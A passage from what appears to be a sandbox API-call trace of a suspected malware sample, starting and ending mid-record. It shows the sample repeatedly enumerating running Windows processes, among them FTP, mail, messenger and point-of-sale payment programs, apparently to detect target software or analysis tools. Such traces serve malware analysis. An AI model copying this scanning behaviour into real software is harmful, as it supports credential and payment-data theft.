th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0281.455] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0281.458] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0281.460] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0281.462] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0281.465] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0281.467] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0281.470] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0281.472] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0281.475] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0281.477] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0281.480] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0281.483] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0281.485] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0281.537] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0281.540] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0281.542] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0281.545] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0281.547] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0281.549] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0281.551] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0281.553] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0281.556] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0281.558] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0281.561] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0281.563] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0281.566] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0281.568] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0281.571] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0281.573] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0281.576] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0281.578] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0281.580] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0281.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0281.636] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0281.638] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0281.641] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0281.643] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0281.646] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0281.648] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0281.650] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0281.653] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0281.655] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0281.657] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0281.659] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0281.662] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0281.664] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0281.666] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.669] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0281.671] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0281.673] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0281.741] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0281.742] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0281.744] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0281.746] CloseHandle (hObject=0x344) returned 1 [0281.746] Sleep (dwMilliseconds=0x64) [0281.785] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0281.799] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0281.801] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0281.803] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0281.804] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.806] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0281.808] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0281.809] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0281.811] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0281.813] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0281.814] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.866] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.868] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0281.870] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.872] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.873] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.875] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.877] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.878] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.880] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.881] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0281.883] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0281.885] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0281.887] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.888] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0281.890] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0281.892] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0281.894] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0281.896] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0281.897] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0281.899] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0281.901] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0281.902] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: 